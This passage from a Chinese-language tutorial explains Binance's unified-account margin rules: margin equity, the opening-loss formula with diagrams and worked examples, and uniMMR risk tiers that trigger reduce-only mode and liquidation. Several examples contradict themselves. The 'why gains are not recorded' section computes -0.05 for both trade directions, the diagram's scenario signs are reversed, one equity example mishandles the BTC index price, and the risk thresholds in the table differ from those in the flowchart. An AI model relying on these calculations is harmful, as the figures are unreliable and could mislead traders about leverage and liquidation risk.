style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">es</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">m</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.6667em;vertical-align:-0.0833em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">v</span><span class="mord mathnormal mtight">es</span><span class="mord mathnormal mtight">t</span><span class="mord mathnormal mtight">m</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：投资总价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">D</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">b</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：借贷负债金额</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.22222em;">V</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.2806em;"><span style="top:-2.55em;margin-left:-0.2222em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">n</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">t</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：净资产价值</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.4306em;"></span><span class="mord mathnormal" style="margin-right:0.02778em;">r</span></span></span></span>：折算率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3361em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">in</span><span class="mord mathnormal mtight">d</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">x</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：资产指数价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.05764em;">E</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.0576em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">ma</span><span class="mord mathnormal mtight" style="margin-right:0.02778em;">r</span><span class="mord mathnormal mtight" style="margin-right:0.03588em;">g</span><span class="mord mathnormal mtight">in</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：杠杆账户权益</li></ul><p><strong>计算逻辑拆解：</strong></p><ol><li><strong>净资产计算</strong>：投资价值减去债务，得到用户真实拥有的净值</li><li><strong>风险调整</strong>：乘以折算率，反映该资产作为保证金的风险折扣</li><li><strong>统一计价</strong>：乘以指数价格，转换为统一的保证金价值单位</li></ol><p><strong>实际示例：</strong></p><ul><li>投资总价值：4,500 USDT的BTC</li><li>借贷金额：4,000 USDT</li><li>BTC折算率：95%</li><li>BTC指数价格：40,000 USD/BTC</li></ul><p>计算过程：</p><ol><li>净资产：4,500 - 4,000 = 500 USDT</li><li>风险调整：500 × 95% = 475 USDT</li><li>最终权益：475 USDT（已是USDT，指数价格为1）</li></ol><p>当投资价值跌至4,000 USDT时，净权益为零，触发强平。</p><p><strong>公式原理：</strong><br>杠杆交易的维持保证金专门针对借贷风险设计。不同资产的保证金率反映各自的违约风险水平，通过与权益计算和uniMMR结合，实现对包括本金在内的整体资金安全保护。</p><p><strong>MMR示例：</strong></p><ul><li>3倍杠杆时MMR = 10%</li><li>5倍杠杆时MMR = 8%</li><li>10倍杠杆时MMR = 5%</li></ul><h3 id="7-6-开仓亏损计算">7.6 开仓亏损计算</h3><pre><code class="highlight mermaid">graph TD    subgraph &quot;Opening Loss Calculation Process&quot;        A[&quot;Cross-Asset Trading Event&quot;] --&gt; B[&quot;Identify Asset A (Sold/Reduced)&quot;]        A --&gt; C[&quot;Identify Asset B (Bought/Increased)&quot;]        B --&gt; D[&quot;Get Collateral Ratio r_A&quot;]        C --&gt; E[&quot;Get Collateral Ratio r_B&quot;]        D --&gt; F[&quot;Calculate Ratio Difference: r_A - r_B&quot;]        E --&gt; F        F --&gt; G&#123;&quot;r_A - r_B &gt; 0?&quot;&#125;        G --&gt;|Yes| H[&quot;Trading High→Low Collateral&quot;]        G --&gt;|No| I[&quot;Trading Low→High Collateral&quot;]        H --&gt; J[&quot;Loss = Q × P × (r_A - r_B)&quot;]        I --&gt; K[&quot;Loss = 0 (min function)&quot;]        J --&gt; L[&quot;Record Opening Loss&quot;]        K --&gt; M[&quot;No Opening Loss&quot;]        L --&gt; N[&quot;Update Adjusted Equity&quot;]        M --&gt; N        subgraph &quot;Example Scenarios&quot;            O[&quot;BTC (90%) → USDT (100%)&quot;]            P[&quot;ETH (85%) → BTC (90%))&quot;]            Q[&quot;USDT (100%) → BTC (90%)&quot;]            O --&gt; R[&quot;Loss = Q × P × (90%-100%) = 0&quot;]            P --&gt; S[&quot;Loss = Q × P × (85%-90%) = 0&quot;]            Q --&gt; T[&quot;Loss = Q × P × (100%-90%) &gt; 0&quot;]        end    end</code></pre><p>根据币安官方文档，开仓亏损是统一账户系统的核心风险控制机制：</p><blockquote><p><strong>定义：</strong><br>开仓亏损是指在未结全仓杠杆订单中，将抵押率较高的资产兑换为抵押率较低的资产时，uniMMR计算中考虑的权益价值的减少。</p></blockquote><p><strong>官方公式：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1.6em;vertical-align:-0.55em;"></span><span class="mop op-symbol large-op" style="position:relative;top:0em;">∑</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span><span class="mclose">))</span></span></span></span></span></p><p><strong>符号说明：</strong></p><ul><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span></span></span></span>：开仓亏损总额（始终≤0，负值表示亏损）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8778em;vertical-align:-0.1944em;"></span><span class="mord"><span class="mord mathnormal">Q</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：基础资产的数量</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8333em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.13889em;">P</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:-0.1389em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：交易价格</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.8444em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal">d</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3117em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">i</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：交易方向（买单为-1，卖单为+1）</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight">A</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：报价资产的抵押率</li><li><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.5806em;vertical-align:-0.15em;"></span><span class="mord"><span class="mord mathnormal" style="margin-right:0.02778em;">r</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.3283em;"><span style="top:-2.55em;margin-left:-0.0278em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mathnormal mtight" style="margin-right:0.05017em;">B</span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.15em;"><span></span></span></span></span></span></span></span></span></span>：基础资产的抵押率</li></ul><p><strong>关键机制解析：</strong></p><p><strong>1. min(0, …) 函数的作用</strong></p><ul><li>系统<strong>只记录不利变化</strong>（亏损），忽略有利变化</li><li>防止用户通过资产转换&quot;制造&quot;保证金价值</li><li>体现了风险管理的保守原则</li></ul><p><strong>2. 实际计算示例（来自官方文档）</strong></p><p><strong>场景：</strong> 用户持有BTC作为保证金，买入ADA</p><ul><li>基础资产：ADA（抵押率90%）</li><li>报价资产：BTC（抵押率95%）</li><li>交易：买入500 ADA，价格0.001 ADA/BTC</li><li>BTC资产指数价格：40,000美元</li></ul><p><strong>计算过程：</strong></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.9694em;vertical-align:-0.2861em;"></span><span class="mord"><span class="mord mathnormal">L</span><span class="msupsub"><span class="vlist-t vlist-t2"><span class="vlist-r"><span class="vlist" style="height:0.1514em;"><span style="top:-2.55em;margin-left:0em;margin-right:0.05em;"><span class="pstrut" style="height:2.7em;"></span><span class="sizing reset-size6 size3 mtight"><span class="mord mtight"><span class="mord mathnormal mtight">o</span><span class="mord mathnormal mtight">p</span><span class="mord mathnormal mtight">e</span><span class="mord mathnormal mtight">n</span></span></span></span></span><span class="vlist-s">​</span></span><span class="vlist-r"><span class="vlist" style="height:0.2861em;"><span></span></span></span></span></span></span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">500</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.001</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.95</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.90</span><span class="mclose">))</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">500</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.001</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span><span class="mord">0.05</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">500</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">0.001</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">0.05</span><span class="mclose">)</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.3669em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7667em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.025</span><span class="mord text"><span class="mord"> BTC</span></span></span></span></span></span></p><p><strong>转换为美元：</strong><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.025</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">40</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.8389em;vertical-align:-0.1944em;"></span><span class="mord">−</span><span class="mord">1</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">000</span></span></span></span> 美元</p><p><strong>3. 为什么不记录&quot;收益&quot;？</strong></p><p>如果是从低抵押率资产买入高抵押率资产：</p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">−</span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.95</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.90</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span><span class="mord">0.05</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.05</span></span></span></span></span></p><p><span class="katex-display"><span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mopen">(</span><span class="mord">+</span><span class="mord">1</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">×</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mopen">(</span><span class="mord">0.90</span><span class="mspace" style="margin-right:0.2222em;"></span><span class="mbin">−</span><span class="mspace" style="margin-right:0.2222em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mord">0.95</span><span class="mclose">))</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord">−</span><span class="mord">0.05</span><span class="mclose">)</span><span class="mspace" style="margin-right:0.2778em;"></span><span class="mrel">=</span><span class="mspace" style="margin-right:0.2778em;"></span></span><span class="base"><span class="strut" style="height:0.7278em;vertical-align:-0.0833em;"></span><span class="mord">−</span><span class="mord">0.05</span></span></span></span></span></p><p>无论哪种情况，<span class="katex"><span class="katex-html" aria-hidden="true"><span class="base"><span class="strut" style="height:1em;vertical-align:-0.25em;"></span><span class="mop">min</span><span class="mopen">(</span><span class="mord">0</span><span class="mpunct">,</span><span class="mspace" style="margin-right:0.1667em;"></span><span class="mord text"><span class="mord cjk_fallback">计算结果</span></span><span class="mclose">)</span></span></span></span> 确保：</p><ul><li><strong>有损失时</strong>：记录损失</li><li><strong>有收益时</strong>：记录为0（不给额外价值）</li></ul><blockquote><p><strong>💡 设计智慧：</strong><br>这种&quot;只记亏损，不记收益&quot;的机制实现了：</p><ol><li><strong>防套利</strong>：防止无风险的抵押率套利</li><li><strong>系统稳定</strong>：避免因抵押率调整引起的账户价值波动</li><li><strong>风险保守</strong>：确保风险评估不被高估</li></ol></blockquote><p><strong>开仓亏损官方资源：</strong></p><ul><li><a href="https://www.binance.com/zh-CN/support/faq/detail/4868b2f1aa6c4d08af973328462bb0bd">统一账户维持保证金率(uniMMR)计算详解</a> - 包含完整开仓亏损计算公式和示例</li><li><a href="https://www.binance.com/zh-CN/futures/trading-rules/perpetual/portfolio-margin/collateral-ratio">统一账户支持的抵押品与抵押率</a> - 查询各资产实时抵押率</li></ul><h2 id="8-风险管理与触发机制">8. 风险管理与触发机制</h2><p>本章节详细介绍统一账户的风险管理机制，包括uniMMR风险等级划分、强制平仓触发条件及追加保证金通知机制。这些风险控制措施在保护交易者和交易所的同时，也保障了整个系统的稳定性和可持续性。</p><h3 id="8-1-uniMMR风险等级">8.1 uniMMR风险等级</h3><table><thead><tr><th>uniMMR范围</th><th>账户状态</th><th>限制措施</th></tr></thead><tbody><tr><td>&gt; 1.5</td><td>正常交易</td><td>可自由下单</td></tr><tr><td>1.2 - 1.5</td><td>保证金提醒</td><td>建议补充保证金或减仓</td></tr><tr><td>1.05 - 1.2</td><td>只减仓模式</td><td>限制新开仓，仅允许减仓订单</td></tr><tr><td>≤ 1.05</td><td>强制平仓</td><td>自动清算仓位</td></tr></tbody></table><pre><code class="highlight mermaid">graph TD    A[&quot;实时监控uniMMR&lt;br/&gt;持续计算风险指标&quot;]    A --&gt; B&#123;&quot;uniMMR ≥ 200%?&quot;&#125;    B --&gt;|Yes| C[&quot;安全区间&lt;br/&gt;极低风险&quot;]    B --&gt;|No| D&#123;&quot;uniMMR ≥ 150%?&quot;&#125;    D --&gt;|Yes| E[&quot;正常交易&lt;br/&gt;可自由下单&quot;]    D 